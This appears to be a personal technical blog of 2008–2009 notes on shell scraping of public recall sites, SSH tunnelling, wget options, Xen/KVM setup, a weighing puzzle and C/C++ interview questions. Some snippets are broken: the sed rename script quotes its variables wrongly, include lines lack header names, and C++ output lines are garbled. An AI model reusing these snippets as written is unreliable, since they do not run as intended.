cat FLAT_RCL.txt | cut -f 2 | grep '^0[2-9][A-X]' | sort|uniq > dest.txt

You can use command line browser tools to download file
lynx -dump $url > file.txt

But Most importantly you can use curl tools.
Suppose there is a search toolbar like the following,
you want to download all the results from the
query.

You can use
curl -d "SearchType=QuickSearch&rcl_id=$x&summary=true&Search=Search" http://www-odi.nhtsa.dot.gov/recalls/results.cfm > $x.html

The most important is the rcl_id you provided (as a parameter here).

For more information about curl, refer to
http://curl.haxx.se/docs/manual.html

How to readline from file:

N=0
cat ./dest.txt |  while read LINE;
do
N=$((N+1))
x=$LINE
cd ~/fay
curl -d "SearchType=QuickSearch&rcl_id=$x&summary=true&Search=Search" http://www-odi.nhtsa.dot.gov/recalls/results.cfm > 
$x.html
done

TCP forwarding/ssh tunneling

2009-10-21T08:37:00.000-07:00


zz from kartik mail
Here's a way to use ssh tunneling from outside department to avoid
logging in twice to reach osnet1.

Most of you should have an account on alpha.cs.binghamton.edu

We can tunnel our ssh connection to
osnet1.cs.binghamton.edu via alpha.cs.binghamton.edu
as follows

Assuming you are using UNIX there, first establish a tunnel
to osnet1 as follows:

$ ssh -f -L 2222:osnet1.cs.binghamton.edu:22 alpha.cs.binghamton.edu sleep 24h

When it asks for password, type your password
for alpha.cs.binghamton.edu.

This tells ssh to forward your local port 2222 via
alpha.cs.binghamton.edu to port 22 on
osnet1.cs.binghamton.edu

The -f places the above ssh command in background.
The "sleep 24h" just executes the sleep command for
a long time (24 hrs  -- you can increase it to whatever you want)

Next, ssh to your local port 2222 as if you were doing an ssh to osnet1

$ ssh -p 2222 localhost

When it asks for password again, type your password for osnet1.

If you want to transfer files between your local machine and osnet1 then

$ scp -P 2222  localhost:

(note the capital P) .... and so on.

This should log you into osnet1. From osnet1 you can ssh to any
other machine in the lab.

If you set up you ssh keys properly on both alpha.cs and osnet1.cs
then you don't even have to type your password each time. Just place
the above two commands in a script and it'll seamlessly log you in.
(I can guide you through this if you don't know how).

Here's some more explanation of TCP forwarding using SSH

http://www.gsp.com/cgi-bin/man.cgi?section=1&topic=ssh#5

rename and replace

2009-10-01T08:57:00.000-07:00

Replace parm1 with parm2 within each file in the directory


#!/usr/bin/env bash
FILE_LIST="`ls *.html`" 
echo FILE_LIST: ${FILE_LIST}

for f in ${FILE_LIST}
do
        sed 's/$1/$2/g' f> TMPFILE && 
                    mv TMPFILE f
done

echo "replace Script done"

Cut usage:
http://www.thelinuxblog.com/using-cut-shellscript-string-manipulation/

bingsun2% echo "daemon:x:1:1:daemon:/usr/sbin:/bin/sh" | cut -d: -f1,5
daemon:daemon

//To batch rename jan09 to 09jan
//`` is to force sh to execute as command
for i in $(ls ~/fay)
do
a=`echo $i | cut -c1-3`
b=`echo $i | cut -c4-5`
mv $i $b$a
done

resize hvm guest

2009-09-30T11:29:00.001-07:00

$ dd if=/dev/zero of=new_image bs=1 count=new_size_of_ext3_in_bytes
$ dd if=old_image of=new_image conv=notrunc #copy the old image bytes to
the new image (without overwritting the new file)
$ losetup -o 32256 /dev/loop0 new_image # /root doesn't actually live
at front of image for HVM
$ fsck -f /dev/loop0 #check the new image for errors
$ echo "new_image_bytes / 8225280" | bc # this is number of cylinders
in new device
$ fdisk new_image
$ # go to the "extra" menu and type "c" and type the new number of cylinders
$ # go back to main menu
$ # delete primary partition (yes, delete it)
$ # add new primary partition w/ defaults # resize partition to size of
actual image file
$ # 'w' write out fdisk and exit
$ resize2fs /dev/loop0 20G #resize ext3 to whatever GB you want MINUS
a gigabyte ..... just to be on the safe side
$ losetup -d /dev/loop0 # get rid of the loop device
$ edit xen config and test new image (don't delete the old one!)

wget example

2009-09-28T14:37:00.000-07:00

The following script
convert windows accept filenames
convert links to local link
convert cgi/jsp link to html file name
recursive download 3 levels


wget  --restrict-file-names=windows -E -r  -p  -l 3  -k   -Ahtml -Ahtm -Ajpg -np
 -nv -nd -nH http://www.fda.gov/Safety/Recalls/ArchiveRecalls/2007/default.htm

The following example want to download only html file from
one website and put it all the files in one certain directory
and convert link relationship to make it cross-referable.


#!/usr/bin/env bash

MONTH=("jan" "feb" "mar" "apr" "may" "jun" "jul" "aug" "sep" "oct" "nov" "dec")
YEAR=("00" "01" "02" "03" "04" "05" "06" "07" "08" "09" "90" "91" "92" "93" "94"
 "95" "96" "97" "98" "99")


for mon in ${MONTH[*]}
do
    for year in ${YEAR[*]}
    do
        x=$mon$year
 mkdir ~/fay/$x
        cd ~/fay/
 wget  -p -r -l 2  -k -nc -Ahtml  -P$x  -np -nv -nd -nH  http://www.cpsc.
gov/cpscpub/prerel/prerel$x.html
    done
done

echo "Wj Script done"

wget useful options

2009-09-28T12:44:00.001-07:00

#usefule options

To download a single page and all its requisites (even if they exist
on separate websites), and make sure the lot displays properly
locally, this author likes to use a few options in addition to -p:

wget -E -H -k -K -p http:///

-np no parent
-H
--span-hosts
Enable spanning across hosts when doing recursive retrieving.

-A.c download .c file
-E add html extension to cgi/jsp script links
-K
--backup-converted
When converting a file, back up the original version with a .orig
suffix. Affects the behavior of -N.
-k
--convert-links The same as the above, but convert the links in the HTML
files to point to local files, so you can view the
documents off-line:

wget --convert-links -r http://www.gnu.org/ -o gnulog
---restrict-file-names=mode
windows doesn't accept certain file names like <>?
it can replace with certain chars like ? to #

-nc
--noclobber(no overwrite)
With -nc, download the same file will overwritten the old.
With -r -nc, download the same file will avoid overwriting, just use the original copy.
When running Wget without -N, -nc, -r, or p, downloading the same
file in the same directory will result in the original copy of file
being preserved and the second copy being named file.1.
-F
--force-html
When input is read from a file, force it to be treated as an HTML
file. This enables you to retrieve relative links from existing
HTML files on your local disk, by adding some url to
HTML, or using the --base command-line option.
-p
--page-requisites
This option causes Wget to download all the files that are
necessary to properly display a given HTML page. This includes
such things as inlined images, sounds, and referenced stylesheets.

-q
--quiet
Turn off Wget’s output.

-nv
--no-verbose
Turn off verbose without being completely quiet (use -q for that),
which means that error messages and basic information still get
printed.

wget -r -p -l 2 -np -nc -q http://www.cpsc.gov/cpscpub/prerel/prerel.html

12球称重问题

2009-09-24T18:53:00.000-07:00

脑筋问题挺好玩的。

有12个乒乓球,其中有一个重量不一样,但不知是轻是重,
请用天平称三次,把坏球找出来解法
----------------------------------

A1A2A3A4
B1B2B3B4
C1C2C3C4

A1-4 vs B1-4

如果A=B

那坏球在C堆里

C12 vs A12，如果相等，坏球在C34里，C3 vs A1 ....
如果不等，坏球在C12里，C1 vs A1 ...

如果A<B(A>B同样处理，switch AB即可)

A1B1C1 vs A2B2B3

A1B1C1 = A2B2B3

A3A4, B4, A3B4 vs C1C2

A3B4 vs C1C2,
if 相等，==》A4轻

if < ==》A3 轻
> ==》B4重

2. A1B1C1 < A2B2B3
不可能B1轻或者A2重，所以或者A1 轻，或者是B2B3重，

A1B2 vs C1C2

3.A1B1C1 > A2B2B3
either B1 重或者A2轻，

B1 vs C1 ....

思路关键就是要记住第一步的轻重对解决问题有指导性作用。

-----------------------------
还有8球问题，比较简单，分成332，先比较33就可以了。
这一题好像要知道坏球是重还是轻才行。

Multikernel

2009-09-11T12:21:00.000-07:00

Cache coherence become a problem with the increase of cores.

Using message passing instead of shared memory can solve the problem.

http://docs.google.com/present/view?id=dc3nqpnt_19hsg376hs

try to explain slide 21,

Broadcast vs Multicast:

TLB shootdown – the process of maintaining TLB consistency
by invalidating entries when pages are unmapped
– is one of the simplest operations in a multiprocessor

OS that requires global coordination. It is also
a short, but latency-critical, operation and so represents
a worst-case comparison for a multikernel.

Broadcast performs badly due to the cache-coherence protocol used
by AMD64 processors. When the master updates the line, it is invalidated
in all other caches. Each slave core then pulls the new copy from the master’s
cache.

Multicast protocol, the master sends a URPC message to the first core of each processor,

which forwards it to the other three cores in the package.
Since they all share an L3 cache, this second message is much cheaper.

IP Loopback

Table 4 shows that Barrelfish achieves higher throughput,
fewer cache misses, and lower interconnect utilization,
particularly in the reverse direction from sink to
source. This occurs because sending packets as URPC
messages avoids any shared-memory other than the
URPC channel and packet payload; conversely, Linux
causes more cache-coherence traffic for shared-memory
synchronization.
Barrelfish also benefits by avoiding kernel crossings.

AICT new problem

2009-09-09T12:05:00.000-07:00

I got into two problems right now with AICT
AICT Performance not as good as expected.

1.

S CPU1 T CPU2
I get the same performance(7300tran/s) with raise_softirq to T.
with aict I cannot get any performance improvement.

Since at CPU 2 side , T with C1 and C2 are competing for
CPU resources, with aict, T should get some kind of priority
hence smaller

2.
If I give up CPU at Target side right after target finish its I/O
shedule() doesn't take effect as I expected.
Problem: xenloop doesn't know when target should give up
cpu during xmit_packets().

Task: to find after schedule(), when could S get schduled

AICT debug printk would help

2009-05-12T13:17:00.000-07:00

I stuck with a problem for 2 weeks. Just found out that basic printk would give me
why it happens.
Problem description:
Start 2 VM would panic at insert_vcpu BUG_ON
complaining VCPU already in the runqueue.

Just printk at
insert_vcpu to see whether it is aict context
if (per_cpu(schedule_data, cpu).aict_source)
printk("source domid= %d \n", per_cpu(schedule_data, cpu).aict_source->domain->domain_id);
if (per_cpu(schedule_data, cpu).aict_target)
printk("target domid= %d \n", per_cpu(schedule_data, cpu).aict_target->domain->domain_id);

Should take the lesson and review the problem next time.

interview questions

2009-03-28T16:49:00.000-07:00

e) 一个有10个指针的数组，该指针是指向一个整型数的（An array of 10 pointers to integers）
f) 一个指向有10个整型数数组的指针（A pointer to an array of 10 integers）
g) 一个指向函数的指针，该函数有一个整型参数并返回一个整型数（A pointer to a function that takes an integer as an argument and returns an integer）
h) 一个有10个指针的数组，该指针指向一个函数，该函数有一个整型参数并返回一个整型数（ An array of ten pointers to functions that take an integer argument and return an integer ）

答案是：
e) int *a[10]; // An array of 10 pointers to integers
f) int (*a)[10]; // A pointer to an array of 10 integers
g) int (*a)(int); // A pointer to a function a that takes an integer argument and returns an integer
h) int (*a[10])(int); // An array of 10 pointers to functions that take an integer argument and return an integer


#include 
#include 

int main(void) {


 typedef union {long i; int k[5]; char c;} DATE;
 struct date { int cat; DATE cow; double dog;} too;
 DATE max;
 int b[5];
 printf("struct %d\n", sizeof(struct date) );
 printf("union %d\n", sizeof(DATE));
 printf("double %d\n", sizeof(double));
 printf("long %d\n", sizeof(long));
 printf("array int %d\n", sizeof(b));
 //actual result is  40 24 8 8 20
}

sizeof
long 8, double 8, long long 8, short 2
64位机上测试的结果:
Summary: struct and union has common point, 大小永远为里面最大类型(max=8)的倍数,
struct 按照最大类型的大小来判断是否需要补齐。

install KVM using QEMU

2009-03-21T17:04:00.000-07:00

Insert kvm.ko && (kvm-amd.ko || kvm-intel.ko)

Install qemu-kvm

Creating a vdisk

qemu-img create -f qcow2 vdisk.img 10G

Booting from ISO

qemu-system-x86_64 -hda vdisk.img -cdrom /vmroot/ftp/ubuntu-9.04-desktop-amd64.iso -boot d -m 384 -usbdevice tablet -vnc :1

where -boot [a|c|d|n] boot from floppy (a), hard disk (c), CD-ROM (d), or network (n)
-m is RAM size in MBs

Follow the normal OS installation procedure.

To get the network working

#in file /etc/network/interfaces

auto eth0
iface eth0 inet manual

auto br0
iface br0 inet static
address 10.128.0.20
netmask 255.255.0.0
broadcast 10.128.255.255
gateway 10.128.0.1
bridge_ports eth0
bridge_fd 0
bridge_maxwait 0
bridge_stp off

Creating a qtap device and adding it to the bridge

sudo modprobe tun
sudo tunctl -b -u root -t qtap0
sudo brctl addif br0 qtap0
sudo ifconfig qtap0 up 0.0.0.0 promisc

Now we will have network ready by configuring /etc/network/interfaces in the guest.

Booting up the VM (We will call the first machine as source and the machine where we are going to migrate the VM as destination)
Make sure you have vncserver installed on both source and destination machines.

qemu-system-x86_64 -hda vdisk.img -net nic,macaddr=52:54:00:39:81:49 -net tap,ifname=qtap0,script=no,downscript=no -vnc :1 -usbdevice tablet (On source machine)
vncviewer :5901 (On your desktop)

To migrate the VM
On target side execute following command to start the blank window.

qemu-system-x86_64 -hda vdisk.img -net nic,macaddr=52:54:00:39:81:49 -net tap,ifname=qtap0,script=no,downscript=no -incoming tcp:0:4444 -vnc :1 -usbdevice tablet

press Ctrl+Alt+2 to switch to qemu console and execute following command to migrate the VM.

migrate -d tcp::

After the migration we can connect to 5901 port of the destination host through vncviewer by executing following command on your desktop machine.

vncviewer :5901

C++ static variable and static function

2009-01-29T12:09:00.000-08:00

1.static variable can only be declared inside class
cannot initialized inside class
and it must be initialized after class.

2. static func can only access static variable
other functions inside class can access static variable freely

3. static variable can be private/public
when it is private, it cannnot be accessed via
Base::var = 0;

4.A static member function cannot have access to the 'this'
pointer of the class

5.Do not declare a static member function as virtual!!!

overload question

2008-11-29T19:11:00.000-08:00


#include 
using namespace std;

class C1 {
public:
        int a;
public:
        C1(){ 
                a = 2; 
        }
        virtual int getA() {
                return a;
        }
        int f(C1* c) {
                return c->a + c->getA();
        }
};





class C2 : public C1 {
public:
        int a;
public:
        C2(){ 
                a = 3; 
        }
        int getA() {
                return a;
        }
        int f(C2* c) {
                return c->a + c->getA();
        }
};



int main() {

        C1 *c1 = new C1();
        C2 *c2 = new C2();
        C1 *c3 = c2;

        coutf(c1)  endl;
        coutf(c2)  endl;
        coutf(c3)  endl;

//      coutf(c1) endl;//wrong class c2 cannot accept base pointer  
        coutf(c2) endl;
//      coutf(c3) endl;

        coutf(c1) endl;
        coutf(c2) endl;
        coutf(c3) endl;


        delete c1;
        delete c2;

        return 0;
}

The result is:
4
5//because c->a =2 static binding c->getA() virtual function using C2->getA() 3
5

6

4
5
5

without virtual function the result would be

4
4//static binding all point to Base var and func
4

6
4
4
4

Process Memory layout

2008-05-11T12:30:00.000-07:00

Text

Data(Including initialized/uninit data)

1.Initialized data

2.BSS(uninitialized data)

Heap

...

Stack

params